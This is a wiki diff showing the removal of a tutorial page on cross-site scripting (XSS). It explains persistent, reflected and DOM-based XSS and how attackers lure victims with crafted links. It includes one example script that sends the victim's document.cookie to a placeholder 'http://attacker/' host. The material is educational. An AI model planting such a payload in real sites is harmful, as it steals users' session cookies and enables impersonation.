Differences

This shows you the differences between two versions of the page.

--- xss:xss_attacks [2016/10/10 01:07] – peter
+++ xss:xss_attacks [2020/04/15 08:46] (current) – removed peter
@@ Line 1: / Line 1: @@
-====== XSS - XSS Attacks ======
-===== Actors in an XSS attack =====
-Before we describe in detail how an XSS attack works, we need to define the actors involved in an XSS attack.  In general, an XSS attack involves three actors: **the website**, **the victim**, and **the attacker**.
-**The website** serves HTML pages to users who request them.  In our examples, it is located at http://website/.
-  * The website's database is a database that stores some of the user input included in the website's pages.
-**The victim** is a normal user of the website who requests pages from it using his browser.
-**The attacker** is a malicious user of the website who intends to launch an attack on the victim by exploiting an XSS vulnerability in the website.
-  * The attacker's server is a web server controlled by the attacker for the sole purpose of stealing the victim's sensitive information.  In our examples, it is located at http://attacker/.
-===== An example attack scenario =====
-In this example, we will assume that the attacker's ultimate goal is to steal the victim's cookies by exploiting an XSS vulnerability in the website.  This can be done by having the victim's browser parse the following HTML code:
-<code html>
-<script>
-window.location='http://attacker/?cookie='+document.cookie
-</script>
-</code>
-This script navigates the user's browser to a different URL, triggering an HTTP request to the attacker's server.  The URL includes the victim's cookies as a query parameter, which the attacker can extract from the request when it arrives to his server.  Once the attacker has acquired the cookies, he can use them to impersonate the victim and launch further attacks.
-From now on, the HTML code above will be referred to as the malicious string or the malicious script.  It is important to note that the string itself is only malicious if it ultimately gets parsed as HTML in the victim's browser, which can only happen as the result of an XSS vulnerability in the website.
-How the example attack works
-The diagram below illustrates how this example attack can be performed by an attacker:
-{{:xss:persistent-xss.png?800|}}
-.  The attacker uses one of the website's forms to insert a malicious string into the website's database.
-.  The victim requests a page from the website.
-.  The website includes the malicious string from the database in the response and sends it to the victim.
-.  The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
-===== Types of XSS =====
-While the goal of an XSS attack is always to execute malicious JavaScript in the victim's browser, there are few fundamentally different ways of achieving that goal. XSS attacks are often divided into three types:
-  * Persistent XSS, where the malicious string originates from the website's database.
-  * Reflected XSS, where the malicious string originates from the victim's request.
-  * DOM-based XSS, where the vulnerability is in the client-side code rather than the server-side code.
-The previous example illustrated a persistent XSS attack.  We will now describe the other two types of XSS attacks: reflected XSS and DOM-based XSS.
-Reflected XSS
-In a reflected XSS attack, the malicious string is part of the victim's request to the website.  The website then includes this malicious string in the response sent back to the user.  The diagram below illustrates this scenario:
-{{:xss:reflected-xss.png?800|}}
-.  The attacker crafts a URL containing a malicious string and sends it to the victim.
-.  The victim is tricked by the attacker into requesting the URL from the website.
-.  The website includes the malicious string from the URL in the response.
-.  The victim's browser executes the malicious script inside the response, sending the victim's cookies to the attacker's server.
-==== How can reflected XSS succeed? ====
-At first, reflected XSS might seem harmless because it requires the victim himself to actually send a request containing a malicious string. Since nobody would willingly attack himself, there seems to be no way of actually performing the attack.
-As it turns out, there are at least two common ways of causing a victim to launch a reflected XSS attack against himself:
-  * If the user targets a specific individual, the attacker can send the malicious URL to the victim (using e-mail or instant messaging, for example) and trick him into visiting it.
-  * If the user targets a large group of people, the attacker can publish a link to the malicious URL (on his own website or on a social network, for example) and wait for visitors to click it.
-These two methods are similar, and both can be more successful with the use of a URL shortening service, which masks the malicious string from users who might otherwise identify it.